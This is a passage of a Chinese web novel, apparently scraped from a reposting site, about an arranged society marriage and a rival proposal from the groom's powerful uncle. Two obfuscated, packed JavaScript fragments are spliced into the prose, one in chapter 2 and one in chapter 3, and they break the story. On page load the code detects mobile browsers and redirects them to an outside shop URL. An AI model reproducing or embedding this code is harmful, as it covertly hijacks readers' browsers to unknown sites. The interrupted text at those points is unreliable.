《迷醉蝴蝶[先婚后爱]》 1. 雪夜 《迷醉蝴蝶》/湉荔 晋江文学城独家首发 2026.2.9 郊区一栋别墅庄园,觥筹交错的热闹声中,一抹纤细高挑的身影从中央慢慢步至最边缘的位置。 沈栀清原本想偷偷溜出去缓缓,可还没来得及高兴,就被站在不远处正和对面人寒暄应酬的沈淮安招手叫了过去。 今日这局,沈栀清谈不上情愿,但到底还是挺起腰枝一步一步走过去,从暗影行至水晶灯下,唇角也勾起一抹恰到好处的笑。 “清清,快来和陆先生和陆夫人打招呼。”沈淮安一改往日那副对他这个亲生女儿冷冰冰的嘴脸,笑容堆在一起,在灯光下乍看十分诡异,沈栀清心里嫌弃,不想陪他演这场戏,身型微顿,可想到父亲答应自己的条件,只好硬着头皮去应付。 “陆先生,陆夫人。” 站在她身侧距离最近的沈淮安在听到这两句称呼后,面色一沉,不动声色走到沈栀清旁边,笑着提醒,“是不是累了?” 沈栀清眉心一跳,心如明镜这句话的意思是什么。 身旁恰好有侍者经过,沈栀清在心底悄悄压了一口气,大有豁出去的想法,伸手取了一杯香槟。她肤色本就白,今日又穿了一件抹胸晚礼服,纤细手臂暴露在灯光下分外惹眼。 “叔叔,阿姨。”沈栀清尽力压下自己并不情愿的语气,嘴角挤出一抹僵硬却不易察觉的笑,与陆沉舟和季苏碰杯。 高脚杯弯出一个弧度,处于下位,犹如沈栀清此刻的处境。 “叮”地一声。将沈栀清今晚原本就不太好的心情撞碎。 陆沉舟终于满意,这才给出回应,他沉声笑笑,对沈栀清说:“奕川在楼上,你们年轻人讲究什么日久生情,我们是不懂,不过多点时间培养感情倒是没什么错。” 季苏也在一旁笑着附和:“是啊,清清,以后奕川可要拜托你来照顾了。” 不等沈栀清说话,旁边的沈淮安倒是先开口:“陆先生,陆太太真是太客气,什么拜托不拜托,我们家清清最会的就是照顾人,只希望未来不会给二位添什么麻烦,到时候还是希望陆家多担待。” “......” 沈栀清面上无波澜,心里的白眼都要翻上天,她最受不了的就是自己父亲这幅阿谀奉承又假惺惺的模样,今晚对女儿的温柔更不过是一层临时面具,目的一旦达成,这层虚伪就会被彻底撕开,弃她如敝履。 耳边你来我往的虚伪寒暄让沈栀清感到窒息,幸好有陆沉舟刚刚的那句话,她的未婚夫也就是陆奕川在这时恰好是最好的挡箭牌。 “叔叔阿姨,那我先上楼了,不打扰长辈们叙旧。” 话说出口,沈栀清能感受到那三道落在自己身上的视线,只有沈淮安高兴地最为明显,今晚他好像始终在笑,沈栀清觉得新鲜又觉得一切都也合理,陆家这块肥肉马上就要吃进嘴了,沈淮安能不高兴吗?有了陆家这座靠山,沈家这种“小门小户”还愁以后吗? “你们小年轻去忙自己的,别光顾着玩,也和奕川多商量商量过段时间婚礼的事。” 沈栀清今晚穿了一身香槟色礼服长裙,她原本身材就好,修身设计更衬她身材曼妙,与长辈那头拜别后,往楼梯走的这一段路,不知道有多少人的目光朝她看过来,敢来搭讪的却没几个,大家对这位平日里不怎么露面的沈家大小姐,好奇更多些,觊觎美色的人也不在少数,只是谁也不敢做这个出头鸟,这帮富家少爷,个个心气都高的很,生怕在这圈子里落下什么笑话,丢脸。 在外人眼里,沈栀清长了副清冷相,平日里不爱笑,像是挂在悬崖边的一株红梅,只这一点就足够让人望而却步。再加上沈栀清平日里也不是个爱玩乐的,除非必要的社交否则她宁愿窝在母亲那座小院翻翻书看看电影蹉跎下时光。所以没人清楚这位大小姐的性情真正如何,更不会有人做这第一个试探的。何况是在这种众目睽睽下。 沈栀清今晚实在没什么心情,投在自己身上的视线越多,她心里就越烦躁。她和陆奕川打算结婚的消息还没有对外公布,上楼的这一段路,沈栀清也在心里想,自己是否有机会逃脱这场利益堆积的婚姻,还能得到自己想要得到的东西,况且她跟陆奕川甚至只见过两面,一切的发生未免太过戏剧。 这么想了一路,不知不觉走到陆奕川的房间门口,沈栀清并没马上敲门,而是站在那里踌躇了会儿,抬手正打算敲门,就听到里面传来断断续续的娇吟声,还有独属于男性粗重地喘息声,沈栀清有些难以置信地瞪大眼睛,想到之前听到的一些有关陆奕川的传闻,犹豫半晌,最终理智战胜慌乱,重重叩响那道门。 沉重的声音响过后,屋内传来男人不耐烦的声音。 “谁啊?” 沈栀清没出声,安安静静等待着直到面前这扇门被打开,才对着站在那里衣衫凌乱的陆奕川说:“长辈们喊我过来跟你一同商议婚礼上的事。”沈栀清几乎是咬着牙把这话说完,她原本可以转身就走没必要受这份屈辱,可理智告诉她,必须还要再坚持一会儿。 陆奕川兴致正盛,看到眼前的女人是沈栀清后,吊儿郎当的模样依旧挂在脸上,“未婚妻啊~婚礼的事回头再说,现在我有更重要的事。”末了,陆奕川偏又不怀好意地试探一句:“有没有兴趣一起?” 此时,原本躺在床上的女人也已经赤着脚朝这边走过来,女人衣不蔽体,脖子上的红痕分外醒目,一脸挑衅地勾住陆奕川的脖子,两人就这么旁若无人地亲了起来,沈栀清偏了偏视线,胃里一阵翻腾。 “既然你有事,那就改天再说。”沈栀清也不是真的打算和他商量婚礼的具体细节,只是今晚必须要在他面前晃一下,也好堵住两方长辈的嘴。 陆奕川浑不吝地笑了声,低头对自己怀里的女人说:“你看看我这未婚妻就是大度。”又抬头看向已经准备离开的沈栀清,“真不一起玩玩?” 沈栀清这次理都没理他,转身直接下楼。 从楼上下来时,沈栀清特意选了一条没什么人的路,经过大厅时,灯光恰好变暗,音乐换成舞曲,舞池中央迎着众人目光起舞的是今晚宴会的主角。陆沉舟和季苏此刻正享受往两人身上投来的艳羡目光,丝毫没察觉不远处楼梯拐角处正偷偷溜走的沈栀清。 侍者帮沈栀清披上外衣,她微微点了下头,算是道谢。 随着身后玻璃门关上,嘈杂热闹的一切也被隔绝,沈栀清用力呼吸外面的新鲜空气,感觉自己仿佛像是终于从泥沼里挣扎出来的游者,此刻浑身上下都轻松。 宴会厅在远郊的别墅内,此刻夜深,周围安静到落针可闻。 好不容易可以出来透透气,沈栀清拎起拖落在地上的裙摆,一步一步缓缓在后花园散步,前两天下的雪还未完全融化,高跟鞋踩在小路上,留下一串独属于她的脚印。 一周前,沈栀清回沈家宅院时,得知父亲打算投靠陆家的事情,饭桌上沈淮安只是提了几句,沈栀清听过就忘,没放在心上,自然也没搞懂沈媚当时在饭桌上看向自己的眼神,后来才知道,原来自己便是筹码。 若陆奕川是可以投靠的良人也就算了,可他偏偏是个纸醉金迷生活糜烂的败家公子哥儿,沈栀清也是今晚才终于明白,陆家为什么会同意这门婚事。 恐怕几天后,陆沈两家的婚事消息一出,最会沦为笑柄的只有她沈栀清一个而已,即便陆家的保密手段做得再好,陆奕川的名声也早就透过那扇纸糊的墙缝四散着钻出来。 想到这儿,沈栀清心脏直疼。 “看来,背叛我会让你得到你想要的东西。” 不远处的凉亭,男人低沉的声音飘过来,沈栀清下意识往那边 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沈栀清有些被吓到,站在原地愣了会儿才想起离开,可等再回神,她已经完全忘记自己是怎么走到这儿的,此刻站着的地方,积雪融化的彻底,她今天偏又穿了一双细高跟,走在水泥面上一下一下沉闷又清脆的响。距离不远不近,但好在那边的人并没发现她。 “既然吃里扒外,这点代价你承受得住。” “陆总,求您别伤害我女儿和太太。” 男人没再说话,沈栀清心却在发颤。脑袋里不合时宜的浮现出这两天在追的那部悬疑剧,紧接着倒吸了一口凉气,沈栀清没再往那边看,她只想赶紧离开这是非之地,正准备离开,可脚上的这双高跟鞋像是今晚故意跟她作对。 不知道踩到哪块硬石头,突然的失重差一点让沈栀清跌在地上,但好在她反应迅速,把身体稳住了,可这样一来也闹出不小的动静。 原本处理完事情打算离开的陆璟年先听到不远处的声响,月光下,他凌厉如刀刃的那双眼睛朝沈栀清那边看去,他只是朝她那边扫一眼,站在旁边的杨辰立马意会,正要走过去,就看到一道纤瘦身影慢慢移到他们的视线内。 不等对面人说话,沈栀清先出声。 “抱歉,无意打扰。” 简短的一句话,甚至算不上解释,多说多错,家族企业里方才的那一幕其实屡见不鲜,只是真切发生在自己眼前那种冲击她有些受不住,此刻是在陆家的地方,她自己都泥菩萨过河自身难保,更没心思站在陆家的地盘去置喙陆家人处理问题的方法。 陆璟年目光始终落在她身上,带着几分漠然的打量,杨辰走过去,认出沈栀清。 “原来是沈小姐。” “这么晚了,您怎么一个人在这儿?” “屋里太闷,出来透气,没想到会碰上你们处理事情。”沈栀清实话实说,的确是无意。 杨晨笑了笑,“下面人手脚不干净,多少要教训一下,没吓到您吧。” 沈栀清心里明白如果站在不远处那位叫陆总的男人不发话,恐怕面前的人会一个问题接着一个问题,她无心掺和进来,只想赶紧离开。 沈栀清摇摇头,随即抬头看向从头到尾未发一言的男人,院子里灯光暗淡,借着模糊的光线,沈栀清得以看清楚男人的模样,棱角分明的一张脸,鼻梁高挺,看向她的那双眼睛虽然好看却藏着嗜血般的冷若冰霜,眉眼透着浓浓的疏离感,那一瞬间,沈栀清眼前浮现的是吸血鬼在安静的夜晚狩猎的画面,就好像眼前的男人也会冷血到如此地步,俨然一副强大的上位者的姿态,两人之间的距离明明是在安全范围内,还是让人心里生出逃离的想法。 但即便如此,沈栀清还是硬着头皮开口:“请问,陆总还有别的事吗?”她刚刚听到那个被打的男人这么称呼他,此刻也是强压住心里的恐惧,多少猜到男人的身份。 陆璟年面无表情地淡淡瞥她一眼,随即转身往别墅内走,根本没理她。 “沈小姐,那就不打扰您了。”杨辰说完紧跟过去。 2. 难堪 沈栀清几乎是在他转身的同时快速逃走,去了另一道门。 再回屋内,还不等沈栀清心情平复,沈淮安径直走到这边,语气急促又带着几分强压过后的怒火,“去哪儿了?陆家对你印象不错,这门婚事算是敲定了,别在这节骨眼上给我掉链子!” 沈栀清缓了缓气,把身上大衣递到旁边侍者手上,“您现在倒是不演了。”话里话外透着阴阳怪气。 沈淮安一下愣住,“谁准你这么跟我说话?!” “答应我的事你做不到,我答应过的,你也休想。” 沈栀清冷哼声,“您要是怕到嘴的鸭子飞了,大可不必。”后面的话沈栀清没继续说下去,沈淮安根本不在乎她嫁的男人什么样,他看重的从头到尾都是陆奕川身后的陆家。 不远处有人朝这边看,陆沉舟对面站着一个身姿挺拔的男人,那身西服边边角角都透着精致,沈栀清觉得这背影好像有些眼熟,没忍住多看了几眼,虽然不知道陆沉舟在和谁说话,可这会儿他脸上挂着很浓的笑意,不同于刚才和沈淮安说话时的客气礼貌,可笑容太过,感觉有点怪,沈栀清还没想明白,就瞧见陆沉舟对身旁的季苏偏头说了句什么,原本背对着她的季苏也朝他们这个方向瞧过来,随即走过来。 “您如果执意在这里跟我算账,出什么岔子别安到我头上就好。”沈栀清说完唇角勾起一抹淡淡的笑,等季苏走近,她都有些佩服自己一秒切换“面具”学着沈淮安去应付这些场合的功力。 而站在旁边的沈淮安在听到这句话后,立马收起方才黑沉着的那张脸,和迎面走过来的季苏点头打招呼后,举着酒杯重新回到陆沉舟身边。 “清清,怎么不见奕川?”季苏虽笑着,可这话怎么听都像是在兴师问罪。 沈栀清已经完全想象到自己的婚后生活会有多么的鸡犬不宁,但还是逼自己笑着回:“他刚说他有点累了,想睡一会儿。”这也不算说谎,床上运动也是个体力活。 季苏好像这才满意,“这孩子,肯定是昨晚看资料看太晚了。” 沈栀清心说,您真是比我还能编。 或许是怕沈栀清看透这话的真实性,季苏这句话才说完就紧接着跟了句:“去那边跟陆家的长辈打个招呼吧。” “好。” 沈栀清跟在季苏身后一路走过去,季苏拉住她的一只手放到自己掌心满脸慈祥的轻拍摩挲,随后洋溢着满脸温柔的笑,跟在沈栀清刚刚的视线下只有一个背影的男人介绍,“璟年,这位沈小姐就是我和你哥当初跟你说过的姑娘。” 季苏那样的表情真的像一个喜欢她喜欢的不得了的长辈,满心慈爱似的 “清清,这位是奕川的小叔,你也随着他叫吧。” 在看清面前人的模样后,沈栀清原本镇静的眼神中划过几丝惊谔,她怎么也没想到会在这里再碰上那个男人一次,而此刻,方才在外面她心里的猜测也被印证了,他果然是陆璟年。 “小叔。” 沈栀清几乎很快整理好情绪且游刃有余地喊出那声称呼。 陆璟年原本正和对面的陆沉舟说话,听到沈栀清的这声小叔,饶有兴趣地抬眼瞧过来,也没想到眼前的人竟是刚刚有过一面之缘的熟人。 “原来是沈小姐。” 这话说的有些意味不明,配上他沉着的嗓音,让在场的几人脸上都露出微讶和好奇的表情。 沈栀清心里倒没多大波澜,只是觉得刚才在后花园的那件插曲本就是意外。 “你们认识?”季苏也收了笑,试探着问。 “清清,你认识陆总?” 站在一旁的沈淮安同样好奇,他偷偷打量站在自己面前的陆璟年,眼神中带着赞许和欢喜,要说陆家现在处理公司大小事务的就是这位,沈淮安当初其实也动过这心思,但后来听说陆璟年身边常年没女人,更别提家室,便也只好作罢,退而求其次。 沈栀清摇头。 陆璟年沉声笑笑,“不认识。” 不知为何,她竟然有种错觉,陆沉舟和季苏好像都松了口气似的,但还没等她理清这复杂的情况,便听到那人又说:“不过,现在认识了。”声音仿若被威士忌浸透的低哑。 那晚之后,沈栀清偶尔会在发呆时回想起陆璟年那天最后说那句话时的语气。 陆璟年这三个字沈栀清倒不是第一次听,但有关他的传闻大多带着点血腥气,又说他是个狠戾的人,总之不会是任何人敢轻易靠近的那类人,所以身边莺莺燕燕的传闻也少,好像这人眼里没情欲只有对掌控和权利的迷恋,凡是挡他路的人最后的下场都不太好。 可这些捕风捉影的消息大多没被证实,传闻太夸张,说是空穴来风也不为过,可沈栀清偏又想起那晚的事,最后得出结论。 不管传闻真假,她都不想搅进去,所以还是保持距离最好。 可沈栀清没想到,会在短短两天内再次见到陆璟年。 周日一大早,沈栀清就接到沈淮安的电话,说是要带她去陆家拜访陆沉舟和季苏,沈栀清前一晚赶画稿熬了通宵,这会儿才睡没两个小时,打算找借口推掉,话都没出口就被沈淮安拦住。 “陆家的婚事彻底敲定,答应你的事我才能越快办到。” 在听到这句话后,沈栀清立马清醒过来。 从家里出来时,沈淮安的车已经等在外面,沈栀清半点没犹豫,直接坐进副驾。沈淮安面上不满,但也懒得说什么,只提醒她,待会儿到陆家好好表现。 沈栀清没应声。 父女俩就这么一路没说话,到了陆家那座别墅,沈栀清先下车,司机绕到后面开车门扶沈淮安也下车,门口已经有人在等,是一位看起来上了些年纪的男人,头发灰白,一身定制西服将人衬得精神干练。 “沈先生,我带您和沈小姐进去。” 时间接近中午,此时的太阳光正盛,进门前,沈栀清视线在周围打量了下,目光被不远处一座喷泉雕像吸引,无端想起那晚郊区庄园的酒会,不由得往那边多看一眼,前面的沈淮安看到沈栀清落后很多,喊她:“清清,赶快跟上。”心里想说的其实是:怎么这么没规矩。 沈栀清哦了声,快步跟上。 会客厅内,陆沉舟和季苏正坐在沙发上喝茶,见沈家父女到了,季苏起身去迎。 “清清,怎么瞧着瘦了,最近没好好吃饭吧。” “可能是最近没睡好。”沈栀清这段时间都在赶画稿,通宵是常事。 季苏又说:“正好,中午让阿姨炖了些鸡汤,你多喝点,补补身体。” “谢谢季阿姨。”有那么一瞬间,沈栀清甚至有些恍惚,季苏的表情很诚恳,像是完全出于真心。 如果不是后来在餐桌上陆沉舟说的那句话,沈栀清当时是真的把季苏的好意当成了关心的。 临近正午,沈栀清被安排坐在季苏旁边,饭菜上齐后,陆奕川踩着饭点从楼上下来,听到动静,沈栀清抬眼往那边瞧了一眼,看见陆奕川身上穿着的是一件睡衣,头发也很随意,睡眼迷蒙,一看就是刚睡醒。 沈栀清没什么表情地收回视线。 季苏才准备坐下,看到儿子过来又赶忙起身走过去,“这孩子怎么不换身衣服?你沈叔叔和清清来家里吃饭,顺便谈谈你们两个的婚事。” 陆奕川语气无所谓着说:“板上钉钉的事还有什么好谈的?”说着就走到陆沉舟身边的位置坐下,“阿姨,帮我盛一碗鸡汤。” 沈栀清倒没什么,毕竟她根本没把陆奕川放在心上,自然也不会因为他的一举一动牵动情绪,倒是沈淮安,被小辈无视,让他有些脸上挂不住面子,脸色黑压压的像积了团乌云,坐在主位的陆沉舟察觉到了,在桌下踢了一脚陆奕川,“被你妈妈惯的一身臭毛病,还不赶紧叫人。” 陆奕川极不情愿地喊了声:“沈叔叔。”说完,又吊儿郎当来了句:“岳父大人。”没什么正经样子。 谁成想,这四个字竟然哄的沈淮安立马阴转晴,坐在对面的沈栀清脸上无语,心里翻了个大白眼。 院里响起汽车驶进的声音,引得沈栀清好奇地转头去看,再回身时无意间瞥到脸色突然变得很难看的陆沉舟连带刚才还没正经的陆奕川,此刻脸上也有些颤颤巍巍,心里正纳闷,就见陆璟年从外面走进来。 “小叔。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275997|198244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆奕川毕恭毕敬喊了句,这让沈栀清觉得很新鲜,可却没听到陆璟年的回应,气氛一下僵在那儿。 季苏反应很快,对站在后面的阿姨说再准备一副碗筷,然后又笑呵呵地招呼陆璟年:“璟年,还没吃吧?坐下一起。” “那就麻烦大嫂。” 陆璟年倒没推脱,随便找了个空位置坐下,真就认真吃起饭来,像是真的饿了,可举止间依旧沉稳绅士。 整个过程,陆璟年没再多说一句话,沈栀清觉得氛围突然变得有些诡异,陆璟年又刚好坐在她的斜对面,她带着探究的目光在他身上短暂停留,最后不动声色的移开。 陆沉舟脸色渐缓,继续刚才没说完的话:“淮安,孩子们的婚事咱们两方父母到时候去找大师算个好日子,婚礼就订在陆氏旗下的酒店,至于婚房,我和他妈妈还是希望两个孩子跟我们住在一起,平日里也好有个照应,奕川是个不让人省心的,离不开我们,以后恐怕要清清多担待。” 听完这些,沈淮安满脸笑呵呵地说:“咱们一家人不说两家话,既嫁做人妇,照顾丈夫就是分内的事,谈不上什么担待不担待的。” 季苏也满脸开心地说:“清清,结婚后,和奕川抓紧生个儿子,你现在还年轻,早点生完身体恢复得也快,到时候想去忙什么都随你。” 陆沉舟紧跟着附和;“最好是可以待在家里。” 沈栀清也想陪笑,可听到这些话实在是笑不出来,甚至连点头应付都懒得做,沈淮安一直在给她使眼色,沈栀清假装没看见,气氛突然变得诡异,餐桌上除了陆璟年,所有人的目光都落在她身上,好像偏要她亲口承诺什么才行。 沈栀清感觉自己此时像是被架在火上烤的一条尚留一丝气息的鱼,生死权利全都掌握在别人的手里。 “汤不错,沈小姐也尝尝?” 沈栀清不知道陆璟年是不是在帮自己,但眼下这句话的确暂时解了她的困境。 “谢谢小叔。”她真心感谢。 听到一直沉默的陆璟年开口,季苏想到前几天在酒会上说过的事,于是问:“璟年,前几天我和你哥提过的那件事,你考虑的怎么样了?” 长久的沉默后,沈栀清听到“叮”地一声,伴随着瓷器碰撞的声音响起,陆璟年低沉着嗓音回道:“不考虑。” “不考虑?” “你们年龄相当,各方面很般配的呀。” 陆璟年没说话,手指有意无意地沿着碗边描摹,面无表情。 陆沉舟这时发话了,“璟年,奕川的婚事也敲定了,喜上加喜不是更好?” 陆璟年冷声笑笑,漫不经心朝那边抬了抬眼,“喜上加喜?大哥是不是忘了,老爷子还在医院里躺着呢。” 这话一出,在场的人脸色都沉了沉,尤其陆沉舟和季苏的脸色最难看。 见气氛冷下来,又有外人在场,季苏赶忙出声转圜,“这不也想着家里有喜事,给老爷子冲冲喜,没准——” “大嫂,还信这个?” 陆沉舟隐忍怒气没发作,但语气却不好:“老爷子身体好的时候就有意给你说婚事,我和你大嫂不过是按照爸的想法做,也是真心替你考虑,那姑娘是你大嫂家里的人,咱们这样的家庭,彼此知根知底再好不过,你也三十好几了,整日不成家像什么话?!” “难道还真的要奕川这个小辈的结在你前面?” “真心为我考虑?”陆璟年从座位上站起身,离开前往陆沉舟的方向看了一眼,“这话大哥自己信吗?”他半分不留情面,说完扬长而去,屋内安静到只剩门锁重新落上的声音。 陆璟年这趟回来原本是想去书房找点东西,谁想到今天家里会这么多人,只能暂时作罢。 这场饭局终归是闹的不欢而散,原以为闹剧结束也就到此为止,哪成想,饭才吃完,季苏就让陆奕川带着她去已经约好的婚纱店试婚纱,沈栀清即便再不情愿,也只能硬着头皮先答应下来。 这一次,陆奕川倒是很速度,把自己收拾的清爽利落,只看脸的话,他也算是个帅气公子哥,但要论人品...... 简直一片废墟。 3. 另一选择 两人从陆家别墅一出来,陆奕川就把电话从震动调成了有声,从坐上车开始,消息提示音就没断过,沈栀清坐在副驾驶,往陆奕川手机上扫了一眼,看到联系人列表里一长串的红点,心里嫌恶的移开目光。 陆奕川笑出声,没羞没臊地问她:“你这什么眼神?嫌弃我?” 沈栀清也学他之前的阴阳怪气,“当你们陆家的家庭医生应该挺挣钱的吧?” 陆奕川也不傻,立马听懂她这话的言外之意,“年轻就是用来享受的,跟你这种千金大小姐说不明白。” “赶紧系好安全带,去完婚纱店我还有别的事呢。” 沈栀清根本不想去什么婚纱店,“前面路口给我放下,你爸妈那边你自己解决。” “你什么意思?” “各奔东西。”沈栀清说完用力扣下手边的安全带,不忘讽刺,“不耽误陆大公子您春宵一刻值千金。” 陆奕川这会儿也没心思准备什么婚礼,和沈栀清的这场婚事,说白了全都是家里父母的安排,包括婚姻大事,他也没什么看不开的,反正婚前婚后没差别,总归有人给他兜底。 “那真是谢谢你理解了。” 下车前,陆奕川还不忘对着沈栀清调侃,“有你这么一善解人意的媳妇儿倒也不错。” 沈栀清朝他翻了个白眼儿随后用力把车门关上,动静太大,震的陆奕川耳朵轰鸣,正要骂,沈栀清已经坐进旁边的出租车上走了。 转天,沈栀清买了最早一班飞机拉上闺蜜冯素月出国散心,原本打算在国外待半个月,可一个星期都还没到就接到了沈淮安催婚的连环信息,无奈,沈栀清只好从大洋彼岸飞回国内。 从机场出来,冯素月临时有事,一个人打车先走,沈栀清等车的间隙收到一条好友申请,以为是商务合作,通过后,对方发了一长串的裸露照片,躺在床上的男人不是陆奕川还能是谁? 本来在飞机上就没吃多少饭,这会儿胃绞在一起直犯恶心。她清冷眉眼平静如水,回家后把手机上的照片一张一张发给沈淮安,十分钟后接到电话,父女俩吵了一架,但最终的结果依旧照常。 沈栀清把手机卡从卡槽里抠出来,直接丢进垃圾桶,她简直比咽了一只苍蝇还恶心,为这事儿,整晚没睡着觉。可又实在咽不下这口气,于是白天补过觉之后,给冯素月打电话让她组个局,一起到沈家别墅开Party。 “你疯了?” 沈栀清刚睡醒,翁着鼻音说:“他都不顾我的死活,我凭什么让他舒坦?” 沈淮安还有家里那对母女最怕的就是看到她突然跑回家,尤其是韩静初和沈媚每次在沈家别墅看到她都一副看见鬼的样子,好像生怕她会做点什么似的。 “反正和陆奕川这场婚事是没有转圜的余地了,能恶心他们一把也不错。” 沈栀清已经破罐子破摔了。沈淮安手上有筹码,婚约黄了,母亲唯一给她留下的东西也就随之成泡影,她不想这样。 “成!那姐妹儿就陪你大闹天宫!” 沈栀清从超市买了一堆桌游和装饰摆在大理石桌上,冯素月说到做到,喊来的人都是些闹腾的朋友,人差不多到齐的时候,东西也已经摆的差不多。 沈栀清喊上冯素月跟她一起去酒窖拿酒,特意多拿了几瓶平日里沈淮安不舍得在平常日子里开的酒,价格高昂,有的甚至有市无价,“今晚不醉不归。” 准备离开时,沈栀清抬头看到酒柜最上方并齐摆着的酒,其中两瓶上面的年份是父母结婚的日子,另外两瓶是韩静初和沈淮安领证结婚的日子,冯素月喊她:“清清?” 沈栀清应了声,从旁边拿了把椅子,踩上去将其中两瓶酒取了下来,又找了干净袋子装好,上楼后走到院子里把酒放进了后备箱。 聚会开始没多久,从外面逛街回来的韩静初和沈媚开车回家,一进门就看到屋内狼藉一片,五颜六色的彩带片洒了一地,还有扑克牌,大理石桌上摆了满满一桌的酒,还都是贵的,韩静初被气的不清,但对着外人还是保持着一副慈祥继母的模样,“家里有聚会怎么也不提前和我说说一声?”韩静初面上是笑着的,说出这句话别提有多诡异了。 站在旁边的沈媚倒显得淡定多了,把手上的东西放到地上,然后坐在沙发上,俨然一副看好戏的表情。 “您这不是已经知道了?”沈栀清心情不好,懒得应付。 韩静初被噎住,脸色顿时变得难看,但又不得不假装客气,“那你和朋友们玩得尽兴,我让阿姨给你们做些甜点。” 看母亲上楼,沈媚也从沙发起身,离开前不忘对着沈栀清幸灾乐祸,“你等着爸回来收拾你吧。” 沈栀清没理她,甚至看都没看她一眼,她怎么会不知道沈媚这话的意思,韩静初这会儿肯定上楼打电话去告状了,不过沈淮安今晚和陆沉舟有约,回是回不来了,即便真赶回来,眼下情况,父女之间也绷着和陆家婚事的这条线,他不敢做什么,还会打碎牙往肚子里咽,沈栀清就是摸准了才会过来,反正不能她自己一个人难受。 可沈栀清没想到,比沈淮安先出现的竟然会是陆奕川那位小叔。 陆璟年的突然出现,引起一阵不小的骚动。 沈栀清原本坐在角落休息,听到声音起身抬头往那边看,看到陆璟年的那一秒,忍不住将他和陆奕川比较,和陆奕川的吊儿郎当比起来,陆璟年由内而外的矜贵气质仿佛与生俱来,那股压迫感更是让人不敢轻易靠近,如果不是因为传闻中的他太过吓人,沈栀清或许也会是这众多赏客中的其中一个,可联想到那些可怕的耳闻,沈栀清心尖泛凉,她早知道自己躲不过这场联姻,陆家偏偏又派这人来当说客,相当于一块木板上钉了十排钉子。 沈栀清猜想着,应该是沈淮安把这件事告诉了陆沉舟,否则陆璟年没理由出现在这里,可她又想,那次吃饭,兄弟两个的关系貌似看起来并不好,她还没理清,人已经走到她面前。 沈栀清面上看似平静,心却早已跌进谷底。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275998|198244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可让她没想到的是,陆璟年竟然给了她另外一种选择。 “沈小姐,我们谈谈。” “如果是和陆奕川婚约的事就不必再谈了,事实已定,陆家还有什么不放心的。”沈栀清心里其实有点怕他,可他语气态度都很客气,平白和人拉近距离,况且今天她心情实在不爽,懒得给任何人好脸色,即便是陆璟年也不行。 “沈小姐想多了,你和陆奕川的婚事我不关心,今天来是要找你聊另外一件事。” 沈栀清抬起头,好奇地看着他,“什么事?” “要不要考虑跟我在一起?” “跟你在一起?”沈栀清完全被说懵了。 “放弃他,嫁给我。”陆璟年干脆直说。 在他说完这句话,时间仿佛陷入静止,沈栀清头脑发晕,眼看着男人身影重叠交错,让她一时分不清究竟是今晚的酒喝的太多导致自己出现了幻觉,还是因为陆璟年的那句话。 三分钟后,在沈栀清确定自己还很清醒后,不可置信的问他:“如果你是认真的,我想问为什么?” “为什么会选择我?” 陆璟年则实话实说,“眼下,我身边没有比你更合适的人选。” 今夜之前,陆璟年刚刚经历一场算计。有一次,就会有第二次,公司的事情已经让人费心劳力,他实在没有多余的精力和时间跟那对夫妻再玩这种游戏,索性自己解决婚姻大事,老爷子那边有了交代,也好堵住两人的嘴。 而沈栀清,最合适的人选。经过那日的饭局,他看出来这场婚约她也是被逼无奈,虽然暂时还不知道牵制她的筹码是什么,但眼下,两个都有所需的人是最好成为盟友的选择。 看出她还在犹豫,陆璟年倒也不急,只跟她说:“我给你考虑的时间,想好就来找我。”说完便起身,离开前,又说:“沈小姐,我希望你好好考虑我的提议。” 沈栀清望着他的背影,直到人彻底消失在门口,才清醒,如果不是手机里新添的那串号码,沈栀清一度以为刚刚所发生的一切都是场梦。 一晚过后,沈栀清拨出了那通电话,那头很快被人接起,而她半分没犹豫,“我答应你。” “可有些事,我们要事先说好。” 听筒里传来男人低哑地笑,时间尚早,陆璟年大概也是才睡醒,声线仿若浸润昨晚她喝过的陈酿,透着几分迷醉,“可以。” 沈栀清提前做好准备,熬夜写完一点要求,“现在有时间吗?” 她听到那头沉默一瞬,心尖仿佛飞落一只蝴蝶,虚虚浮浮地飘着,便又听他说:“我让司机去接你。” “不用麻烦,地址给我就好。”沈栀清昨晚就回了碧玺城这边,她不想让陆璟年知道自己现在所住的地方,毕竟在合作谈好之前,一切都是未知数。 “好。”陆璟年说完切断电话。 几乎同时,手机响起短信提示音,沈栀清心里记下上面的地址,快速收拾完,拿上昨晚打印的婚前合约,拎包出门。 4. 陆先生 从碧玺城到陆璟年香樟公馆有段距离,沈栀清又赶上早高峰,眼看着和陆璟年约定的时间就要到了,车堵在半路,沈栀清拿出手机,拨了早晨那通电话过去。 “不好意思,陆先生,车堵在路上了,我可能会晚一点。” 陆璟年那边很安静,说话依旧惜字如金,“注意安全。” “好的,谢谢。”沈栀清说完并没有马上挂断电话,等了一两秒,那头又传来陆璟年的声音:“还有事?” “没了。” 话说完,那头就挂了电话。 沈栀清觉得这男人不管平时是否雷厉风行,但挂人电话这方面真挺干脆利落的,不过相比今早倒是有点进步,至少知道问一下。 “老板,现在出发吗?”杨辰刚到没一会儿,今早公司有个会,是有关和市政府合作项目的内部讨论会。市领导有意将近郊那片空了很久的地方打造成一个与现实结合AI智能的游乐城。早些年,陆氏是靠房地产起家,商人重利,自然知道鸡蛋不能全都放进一个篮子的道理,因而陆氏在各个领域都有投资,近几年房地产领域不景气,陆氏才未被波及,但最初起家的资源和专业依旧在。 “会议推迟两个小时。” 